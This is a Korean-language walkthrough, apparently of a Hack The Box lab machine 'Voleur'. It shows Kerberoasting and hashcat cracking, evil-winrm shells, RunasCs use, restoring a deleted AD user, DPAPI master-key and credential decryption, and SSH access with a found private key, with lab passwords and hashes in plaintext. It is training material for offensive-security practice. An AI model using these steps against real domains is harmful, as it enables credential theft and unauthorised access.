ed1767dde59e576319b0e9e54ee3c972549ce738707f48fcdd310289b48b426e092ba52e52224d5f82a2e86e549be46b90b2e87488e563ffd20ed14d8ef8cd28f5e802eec0f67a985fc0578cc31e14f6c030dd07685f353c424182af76005727391419b80a12675fd2e41a39be3ccfbad77b7449814c884a93bcdd6a823e7770b06378a4c5925d6fcc9dde0b0b1925f08f4e63de4c8e53ca0fb7aec37520e7c24fc773e1c8ae58d83862e3e97eb34aa81f3a4bf0ad0634d4dcb7199bf6df46e3c0cb9f700e09d29808abb55ec9f1e2d6e35f3f295ba2069417055f7777ec95280bed9fa3459c04b243aa038c5d8434fbcd4beb089b21b6f344b5be38fccc1499a37eaf163a93be8a7f6a334075b04c323c0e5434f007227831b867c043a489edb1fb957855b9e24f3b84b09acbbe2ec3f0c9d7283d1bdf28d8748258ac969cec534dde71adfa38f8aaab23de3b8e320a72332f6ce89e393b3fbd4d32ef8e7c0da94d72c98af6b312bfe4af29968c8b92f43bb202a4ea8c11cebed0c324dc50caaf2c2c09c68e94d01a107ef58efba4068cc398614ee424221e124fb33a04f258ed10db83ce2d9121704ea2e4430efc058663fe8836da2cce9a41aecb5825cef0050e83f8e9d61d79d490c90eef005630f8c8ab867314bc5d977332

2개의 해시가 나오는데, BloodHound를 다시 보면

alt text

svc_ldapRestore Users 그룹에 속해 있고, 그 그룹이 lacey.millerGenericWrite를 가지고 있는 것을 볼 수 있다.

GenericWrite는 모든 속성에 대한 쓰기 권한이기에 WriteSPN에 포함이 된다. 그래서 요게 하나가 나온거고, 아래에 svc_winrm의 키로 암호화된 TGS의 일부분이 나온 것이다.

TGS 생성 과정과 구조

이제 해당 해시를 크랙해보자!!

먼저 출력된 hash를 whash라는 파일로 저장해주었다.

크랙 시작!

  voleur hashcat whash /usr/share/wordlists/rockyou.txt 
hashcat (v7.1.2) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-13th Gen Intel(R) Core(TM) i5-1334U, 6956/13913 MB (2048 MB allocatable), 4MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol

<SNIP>
0e5434f007227831b867c043a489edb1fb957855b9e24f3b84b09acbbe2ec3f0c9d7283d1bdf28d8748258ac969cec534dde71adfa38f8aaab23de3b8e320a72332f6ce89e393b3fbd4d32ef8e7c0da94d72c98af6b312bfe4af29968c8b92f43bb202a4ea8c11cebed0c324dc50caaf2c2c09c68e94d01a107ef58efba4068cc398614ee424221e124fb33a04f258ed10db83ce2d9121704ea2e4430efc058663fe8836da2cce9a41aecb5825cef0050e83f8e9d61d79d490c90eef005630f8c8ab867314bc5d977332:AFireInsidedeOzarctica980219afi
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_wi...977332
Time.Started.....: Fri May 15 07:29:58 2026 (13 secs)
Time.Estimated...: Fri May 15 07:30:11 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   866.1 kH/s (3.02ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11472896/14344385 (79.98%)
Rejected.........: 0/11472896 (0.00%)
Restore.Point....: 11468800/14344385 (79.95%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: AK78910 -> ADRIANXXL
Hardware.Mon.#01.: Util: 67%

Started: Fri May 15 07:29:38 2026
Stopped: Fri May 15 07:30:12 202

크랙 결과 svc_winrm의 패스워드가 AFireInsidedeOzarctica980219afi 임을 알 수 있다!

Submit User Flag

이제 해당 계정으로 TGT를 발급 받아서 WinRM 서비스를 이용해보자!!

  voleur impacket-getTGT voleur.htb/svc_winrm -dc-ip 10.129.232.130
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Saving ticket in svc_winrm.ccache

환경 변수 등록도 해주자.

  voleur export KRB5CCNAME=svc_winrm.ccache

WinRM에 접속하기 위해 WinRM 클라이언트인 evil-winrm을 사용하였다.

  • evil-winrm
    • 펜테스트 특화, 인터렉티브 쉘, 파일 전송 내장
  • nxc winrm
    • 비인터렉티브, 명령 한 줄 실행 또는 스프레이용
  • 기타 등등
    • 복잡…

그리고 지금 자격증명을 받으면서 생긴 krb5.conf의 템플릿인 voleur.krb5 가 사용이 안되고 있을건데, 이걸 /etc/krb5.conf로 넣어줘야 한다.
(Kerberos 라이브러리는 기본적으로 /etc/krb5.conf를 보기 때문!)

근데 앞으로 AD 환경이 많이 나올텐데…(계속 바꿔야함…귀찮…)

그래서 현재 쉘에서만 적용되는 환경변수 등록으로 진했했다.

export KRB5_CONFIG=$(pwd)/voleur.krb5

그리고 evil-winrm 을 써보면?

  voleur evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> 
  • -i : IP/호스트명
  • -r : Kerberos realm
[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = VOLEUR.HTB

[realms]
    VOLEUR.HTB = {
        kdc = dc.voleur.htb
        admin_server = dc.voleur.htb
        default_domain = voleur.htb
    }

[domain_realm]
    .voleur.htb = VOLEUR.HTB
    voleur.htb = VOLEUR.HTB

(krb5.conf 내용)

  • Kerberos 표준이 realm은 대문자로 하자고 정해놨다.
  • 그래서 자동 생성할 때 krb5.conf 에도 대문자로 들어갔고, 명령어도 이에 맞게 대소문자 구분을 해서 작성을 해야한다.
  • (약속이니 지키자!!)

여기에 기록된대로 적어주면 된다. (대소문자 구별을 하니까 주의하자!!)

그러면 이렇게 타겟 머신에 접속할 수 있다!!!!

*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> type user.txt
20ce9053b18f3fd8d838c6c9120ca450

-> user flag 획득!

Task 7

Which non-standard group is the svc_ldap user a member of?
(svc_ldap 사용자가 속해 있는 비표준 그룹은 무엇입니까?)

다시 bloodhound로 돌아와 svc_ldap 사용자가 어떤 그룹의 멤버인지를 확인해보면 다음과 같다.

alt text

  • Standard/Built-in Group (표준 그룹)
    • DOMAIN USERS와 (그 상위에 연결된) USER는 Windows Active Directory 환경을 구성할 때 시스템에서 기본적으로 생성하고 제공하는 디폴트 그룹
  • Non-standard/Custom Group (비표준 그룹)
    • RESTORE USERS는 Active Directory의 기본 사양에 존재하지 않는 이름이다.
    • 이는 도메인 관리자가 백업, 복원 등 특정 권한을 부여하기 위해 임의로 생성한 맞춤형 그룹을 의미한다!

Task 8

Which deleted user is listed in the Active Directory deleted objects output? (Active Directory의 삭제된 객체 출력 결과에 나열된 삭제된 사용자는 누구입니까?)

초반에 구해놨던 Excel 파일을 보면,

alt text

Todd Wolfe 라는 유저가 삭제된 것을 볼 수 있다.

다른 유저들과 다르게 이 유저는 비밀번호가 기록이 되어있었는데, 계정이 삭제되어서 당장에는 써보기는 어려워보인다.

하지만, 지금 svc_winrm 자격증명으로 evil-winrm 쉘을 얻었고, svc_ldap 비밀번호도 알고 있으며, svc_ldap이 Restore Users 그룹 멤버라는 것도 확인했다.

write-up을 보면, 비표준 그룹을 활용한다고 나와있는데, 그 이유가 바로 일반 사용자 계정에는 부여되지 않는 특정 권한(Delegated Permissions)을 활용하기 위해서이다.

삭제된 Todd Wolfe라는 유저를 복구 시키기 위해서는 Restore Users 그룹 권한을 이용하면 될 것 같다.

svc_ldap은 WinRM 권한이 없기 때문에, svc_winrm에서 svc_ldap 신원으로 명령을 실행해야한다.

  • runas : Windows Built-in command로 runas가 있는데,
    현재 로그인한 사용자가 아닌 다른 사용자 신원으로 프로그램을 실행하는 도구이다.

하지만, runas 명령은 비밀번호 입력 프롬프트를 GUI로 띄우기 때문에 인터랙티브 데스크톱이 필요하다.

WinRM 세션은 인터랙티브가 아니라 백그라운드 네트워크 세션이라서 GUI가 띄워지지 않는다…

RunasCs

wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip

이 녀석은 C#으로 짜여진 비인터랙티브 runas이다.
WinRM 같은 비대면 환경에서 자격증명 전환이 가능하다.

wget으로 zip을 다운로드 한 뒤 압축 풀고, evil-winrm을 실행한 디렉터리에 실행 파일을 넣어준 뒤, PS에서 upload 명령을 통해 옮겨주었다.

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> upload RunasCs.exe
                                        
Info: Uploading /home/kali/RunasCs.exe to C:\Users\svc_winrm\Documents\RunasCs.exe
                                        
Data: 68948 bytes of 68948 bytes copied
                                        
Info: Upload successful!

이제 write-up에서 나온 명령들을 따라가보자.

./RunasCs.exe <username> <password> <command> [options]

우선 기본적으로 RunasCs는 위와 같이 사용한다.

command가 엄청 길었는데, 한번 보자.

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command <PowerShell 코드>
  • -NoProfile : $PROFILE 스크립트 로드 X
  • -ExecutionPolicy Bypass : 실행 정책 우회 (.ps1 스크립트도 실행 가능)
  • -Command : 필수! (뭘 실행할지)
    • -File이나 -EncodedCommand로 대체 가능하다.

이어서 PowerShell 코드이다.

Get-ADObject -Filter 'isDeleted -eq `$true' -IncludeDeletedObjects -Properties distinguishedName, objectSid -SearchBase 'CN=Deleted Objects,DC=voleur,DC=htb'
  • Get-ADObject : Active Directory 객체를 조회하는 PowerShell cmdlet
    • 사용자 계정, 그룹, 컴퓨터 계정, OU, 서비스 계정, 삭제된 객체 등 조회 가능
  • -Filter '<조건>'
    • 'isDeleted -eq '$true' : isDeleted 속성이 true인 객체만.
  • -IncludeDeleteObjects : 기본적으로 AD 조회 명령은 삭제된 객체를 잘 안 보여준다. 그래서 해당 옵션을 사용해서 삭제된 객체도 결과에 포함 시켜준다.
  • -Properties distinguishedName, objectSid : 기본 출력 외에 추가로 가져올 속성 지정
    • distinguishedName : AD 객체의 정확한 LDAP 경로
      • 삭제된 객체는 보통 이름이 이상하게 바뀌고 Deleted Objects 컨테이너 아래로 이동한다.
    • objectSid : 해당 객체의 SID
  • -SearchBase 'CN=Deleted Objects,DC=voleur,DC=htb'
    • AD 전체를 검색하는게 아니라 따옴표 안에 지정한 컨테이너 안만 검색한다.

최종 커맨드

./RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Get-ADObject -Filter 'isDeleted -eq `$true' -IncludeDeletedObjects -Properties distinguishedName, objectSid -SearchBase 'CN=Deleted Objects,DC=voleur,DC=htb'"

alt text

출력 결과를 보니 ‘Todd Wolfe’ 라는 삭제된 사용자를 확인할 수 있었다.

Task 9

What is the filename of the master key downloaded from Todd Wolfe’s Protect folder?
(Todd Wolfe의 Protect 폴더에서 다운로드한 마스터 키의 파일명은 무엇입니까?)

해당 사용자를 Restore-ADObject를 사용해서 복원해보자.

사용자 계정과 같은 객체는 삭제되더라도 즉시 영구 삭제(purge)되지 않고 deleted로 표시 되어 CN=Deleted Objects 아래에 저장된다.

그래서 이를 재활성화하면 기존 속성들을 그대로 복원할 수 있다!

./RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Restore-ADObject 'CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb'"

이번에는 간단하게 Restore-ADObject '<DistinguishedName>' 만 사용하면 됐다.

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> ./RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Restore-ADObject 'CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb'"
[*] Warning: The logon for user 'svc_ldap' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

No output received from the process.

잘 복구 되었는지, 이전에 사용한 삭제 조회 명령을 실행해보자.

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> ./RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Get-ADObject -Filter 'isDeleted -eq `$true' -IncludeDeletedObjects -Properties distinguishedName, objectSid -SearchBase 'CN=Deleted Objects,DC=voleur,DC=htb'"
[*] Warning: The logon for user 'svc_ldap' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.



Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=voleur,DC=htb
Name              : Deleted Objects
ObjectClass       : container
ObjectGUID        : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8

Todd Wolfe가 보이지 않는 것을 보아 복구가 된 것 같다!!

Todd Wolfe의 계정으로 TGT를 발급 받아. SMB 서비스에 접속해 리소스들을 살펴보며 정보수집을 진행해보자.

  voleur impacket-getTGT voleur.htb/todd.wolfe -dc-ip 10.129.232.130
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Saving ticket in todd.wolfe.ccache

초기화 되었다던 비밀번호도 정상적으로 이용이 된다!

export KRB5CCNAME=todd.wolfe.ccache

환경변수도 잊지말고!

  voleur nxc smb dc.voleur.htb -u todd.wolfe -p NightT1meP1dg3on14 -d VOLEUR.htb -k --shares
SMB         dc.voleur.htb   445    dc               [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc.voleur.htb   445    dc               [+] VOLEUR.htb\todd.wolfe:NightT1meP1dg3on14 
SMB         dc.voleur.htb   445    dc               [*] Enumerated shares
SMB         dc.voleur.htb   445    dc               Share           Permissions     Remark
SMB         dc.voleur.htb   445    dc               -----           -----------     ------
SMB         dc.voleur.htb   445    dc               ADMIN$                          Remote Admin
SMB         dc.voleur.htb   445    dc               C$                              Default share
SMB         dc.voleur.htb   445    dc               Finance                         
SMB         dc.voleur.htb   445    dc               HR                              
SMB         dc.voleur.htb   445    dc               IPC$            READ            Remote IPC
SMB         dc.voleur.htb   445    dc               IT              READ            
SMB         dc.voleur.htb   445    dc               NETLOGON        READ            Logon server share 
SMB         dc.voleur.htb   445    dc               SYSVOL          READ            Logon server share

공유 목록 중에 IT에 READ 권한이 있었다. 초반에 사용했던 --spider 옵션으로 내부에 뭐가 있는지 보자.

alt text (전체 출력이라서 엄청 많다…)

출력을 보다보니 IT\Second-Line Support\Archived Users\todd.wolfe 와 같이 Todd Wolfe의 사용자 프로필이 있는 것을 볼 수 있다.

탐색 방향은 정해진 것 같으니 스캐닝을 멈추고, impacket-smbclient를 이용해 해당 경로를 직접 탐색해보자.

  voleur impacket-smbclient -k todd.wolfe@dc.voleur.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
Type help for list of commands
# shares
ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL
# use IT

IT 공유로 들어간 뒤에 내부 탐색

# cd Second-Line Support
# cd Archived Users
# cd todd.wolfe
# ls
drw-rw-rw-          0  Thu Jan 30 00:13:16 2025 .
drw-rw-rw-          0  Thu Jan 30 00:13:06 2025 ..
drw-rw-rw-          0  Thu Jan 30 00:13:06 2025 3D Objects
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 AppData
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Contacts
drw-rw-rw-          0  Thu Jan 30 23:28:50 2025 Desktop
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Documents
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Downloads
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Favorites
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Links
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Music
-rw-rw-rw-      65536  Thu Jan 30 00:13:06 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TM.blf
-rw-rw-rw-     524288  Wed Jan 29 21:53:07 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000001.regtrans-ms
-rw-rw-rw-     524288  Wed Jan 29 21:53:07 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000002.regtrans-ms
-rw-rw-rw-         20  Wed Jan 29 21:53:07 2025 ntuser.ini
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Pictures
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Saved Games
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Searches
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Videos

AppData\Roaming\Microsoft\ 경로로 가보면,

# cd AppData\Roaming\Microsoft
# ls
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 .
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 ..
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Credentials
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Crypto
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Internet Explorer
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Network
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Protect
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Spelling
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 SystemCertificates
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Vault
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Windows

요런 디렉터리들이 존재한다.

  • Windows는 보통 AppData\Roaming\Microsoft 경로 아래의 폴더들에 사용자중요 정보를 저장한다.

여기서 Protect 디렉터리에 가보면,

# cd Protect
# ls
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 .
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 ..
-rw-rw-rw-         24  Wed Jan 29 21:53:08 2025 CREDHIST
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 S-1-5-21-3927696377-1337352550-2781715495-1110
-rw-rw-rw-         76  Wed Jan 29 21:53:08 2025 SYNCHIST

S-1-5-21-3927696377-1337352550-2781715495-1110 디렉터리를 발견할 수 있다.

  • Protect 디렉터리
    • Windows의 데이터 보호 API(DPAPI)가 데이터를 암호화하고 복호화하는데 사용하는 마스터키(Master Key) 파일이 보관되는 디렉터리
      • Windows는 사용자가 편리하게 자동 로그인을 할 수 있도록 여러 비밀번호를 저장해두는데, 이때 이 데이터들을 암호화할 때 사용하는 키이다.
  • S-1-5-21... 디렉터리
    • Windows 시스템 및 Active Directory에서 사용자, 그룹, 컴퓨터 계정을 하식별하기 위해 부여하는 보안 식별자 (SID, Security Identifier)

이 디렉터리에서,

# cd S-1-5-21-3927696377-1337352550-2781715495-1110
# ls
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 .
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 ..
-rw-rw-rw-        740  Wed Jan 29 22:09:25 2025 08949382-134f-4c63-b93c-ce52efc0aa88
-rw-rw-rw-        900  Wed Jan 29 21:53:08 2025 BK-VOLEUR
-rw-rw-rw-         24  Wed Jan 29 21:53:08 2025 Preferred

마스터키를 얻을 수 있다! (089493…)

Task 10

What username is revealed after decrypting the credential blob with the master key?
(마스터 키를 사용하여 자격 증명 블롭(credential blob)을 복호화한 후 확인되는 사용자 이름은 무엇입니까?)

  • Credential blob 에서 blob 이란?
    • 여기서 ‘blob’은 Binary Large Object의 약자로, 시스템에서 암호화된 데이터 덩어리를 지칭할 때 사용하는 공식 기술 용어이므로 보통 그대로 ‘블롭’이라 읽거나 ‘데이터 덩어리’로 해석한다.

우선 이 마스터키를 get 명령으로 받아주자.

# get 08949382-134f-4c63-b93c-ce52efc0aa88

그리고 다시 Protect\Credentials 로 가서 credential blob을 다운로드 해주자.

  • 해당 블롭에는 마스터 키로 보호된 사용자 자격 증명이 들어있다!
# cd ..
# cd ..
# ls
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 .
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 ..
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Credentials
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Crypto
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Internet Explorer
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Network
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Protect
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Spelling
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 SystemCertificates
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 Vault
drw-rw-rw-          0  Thu Jan 30 00:13:10 2025 Windows
# cd Credentials
# ls
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 .
drw-rw-rw-          0  Thu Jan 30 00:13:09 2025 ..
-rw-rw-rw-        398  Wed Jan 29 22:13:50 2025 772275FAD58525253490A9B0039791D3

이제 impacket-dpadpi를 이용해 마스터키로 해당 자격증명을 복호화 해보자!!

우선 마스터 키를 복호화 해준다. (마스터키도 암호화 되어있기 때문)

  voleur impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 08949382-134f-4c63-b93c-ce52efc0aa88
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
  • DPAPI 마스터 키 복호화는 단순히 비밀번호로 푸는게 아니라, SID를 함께 키 유도(derivation)에 넣기 때문에 명령을 위와 같이 사용하였다.

키를 얻었으니, 이어서 자격증명을 복호화 해보자!

  voleur impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83                                                                                                             
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-01-29 12:55:19+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=Jezzas_Account
Description : 
Unknown     : 
Username    : jeremy.combs
Unknown     : qT3V9pLXyN7W4m

복호화 해보니, jeremy.combs 라는 유저명과 패스워드로 추정되는 값이 나왔다!

  • 이유는 여러 시나리오를 떠올려 볼 수 있다.
    • 작업 위임/권한 공유를 위해 자격증명을 저장
    • 권한 격차 회피 - 업무 중에 jeremy에게 매번 부탁하기 귀찮았던거 아닐까?
    • 등등…

해당 유저는 Excel 파일에서 볼 수 있었는데, Third-Line Support Technician 레벨의 작업을 진행하는 유저였다. Softwre folder에도 접근이 가능하다고 하니, 시스템 관리자라고도 볼 수 있을 것 같다.

그리고,

alt text

svc_backup 서비스 계정의 Notes가 “Speak to Jeremy!” 인 것을 보아, 이 서비스 계정에 대해 jeremy.combs 라는 유저가 이 서비스 계정의 패스워드를 아는 것이 아닐까 유추할 수 있다.

우선 해당 계정 정보로 TGT를 발급받고, WinRM에 접속해보자. (권한이 높아서 가능할 듯)

  voleur impacket-getTGT voleur.htb/jeremy.combs -dc-ip 10.129.232.130
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Saving ticket in jeremy.combs.ccache
  voleur export KRB5CCNAME=jeremy.combs.ccache
  voleur evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> 

접속 성공!

Task 11

What is the full path of the SSH private key found in the support folder?
(support 폴더에서 발견된 SSH 개인 키의 전체 경로는 무엇입니까?)

jeremy는 Third-Line 레벨의 권한을 가지고 있기 때문에, Third-Line Support 디렉터리 내부를 들여다 볼 수 있었다.

*Evil-WinRM* PS C:\IT\Third-Line Support> ls


    Directory: C:\IT\Third-Line Support


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/30/2025   8:11 AM                Backups
-a----         1/30/2025   8:10 AM           2602 id_rsa
-a----         1/30/2025   8:07 AM            186 Note.txt.txt

해당 디렉터리에서, ssh 개인키를 발견할 수 있었다!

Task 12

Which user account is leveraged for SSH access to the backup environment on port 2222? (2222번 포트의 백업 환경에 SSH로 접속하기 위해 활용되는 사용자 계정은 무엇입니까?)

그리고 Note.txt.txt 라는 파일도 볼 수 있었는데, 읽어보니

*Evil-WinRM* PS C:\IT\Third-Line Support> type Note.txt.txt
Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin
Jeremy에게,

Windows 백업은 이제 지긋지긋합니다! Linux의 백업 도구 중 활용할 수 있는 것이 있는지 알아보기 위해 WSL(Windows Subsystem for Linux)을 부분적으로 구성해 두었습니다.

무엇을 설정할 수 있는지 확인해 주시기 바랍니다.

감사합니다.

관리자(Admin) 드림

음…? WSL에서 백업 시스템을 테스트 중인 것 같다.

해당 머신을 Nmap 스캔했을 때 2222/tcp 포트에서 OpenSSH가 돌고 있는 것을 볼 수 있었는데, 해당 정보들을 조합해보면 다음과 같이 예상해 볼 수 있다.

  • admin이 linux의 백업 도구를 활용하기 위해 wsl를 활용함
  • jeremy에게 어떤 설정들을 할 수 있을지 확인 부탁
  • jeremy는 wsl에 접속이 가능해야하니 공개키 등록(또는 개인키 소지)
  • 접속할 때 ssh로 접속

그렇다면 요렇게 해볼 수 있지 않을까 싶다.

  • wsl이 Windows DC 안에서 돌고 있음 (Admin이 백업용으로 설정함)
  • jeremy의 워크스페이스에서 얻은 svc_backup용 ssh 개인키를 다운로드
  • WSL 접속할 때 필요한 유저명은 모르겠지만, AD에서 확인한 백업 서비스 계정명이 svc_backup 이었으니 이를 접속할 때 유저명으로 사용해볼법 함.
  • 해당 키로 2222 포트의 WSL OpenSSH에 svc_backup으로 접속

실제로 개인키에서 공개키 부분을 추출해보면,

  voleur ssh-keygen -y -f id_rsa
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCoXI8y9RFb+pvJGV6YAzNo9W99Hsk0fOcvrEMc/ij+GpYjOfd1nro/Zpuw<SNIP>
nyAYSJLwMXM84XzQ4us= svc_backup@DC

svc_backup의 키인 것을 볼 수 있다!!!!!

Task 13

What is the full path to the Active Directory backup folder on the backup environment?
(백업 환경에 있는 Active Directory 백업 폴더의 전체 경로는 무엇입니까?)

*Evil-WinRM* PS C:\IT\Third-Line Support> download id_rsa
                                        
Info: Downloading C:\IT\Third-Line Support\id_rsa to id_rsa
                                        
Info: Download successful!

키를 다운 받고, 접속을 해보면?

  voleur ls | grep id_rsa
id_rsa
  voleur sudo chmod 600 id_rsa
  voleur ssh -i ./id_rsa svc_backup@10.129.232.130 -p 2222
The authenticity of host '[10.129.232.130]:2222 ([10.129.232.130]:2222)' can't be established.
ED25519 key fingerprint is: SHA256:mKWAEwLTnEN2bJNi7fkc+BZodiXCIiP3ywSLJiZL0ss
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:29: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.129.232.130]:2222' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04 LTS (GNU/Linux 4.4.0-20348-Microsoft x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat May 16 02:50:48 PDT 2026

  System load:    0.52      Processes:             9
  Usage of /home: unknown   Users logged in:       0
  Memory usage:   33%       IPv4 address for eth0: 10.129.232.130
  Swap usage:     0%


363 updates can be installed immediately.
257 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu Jan 30 04:26:24 2025 from 127.0.0.1
 * Starting OpenBSD Secure Shell server sshd                                                                                                                                          [ OK ] 
svc_backup@DC:~$ 

이렇게 성공적으로 접속할 수 있었다.

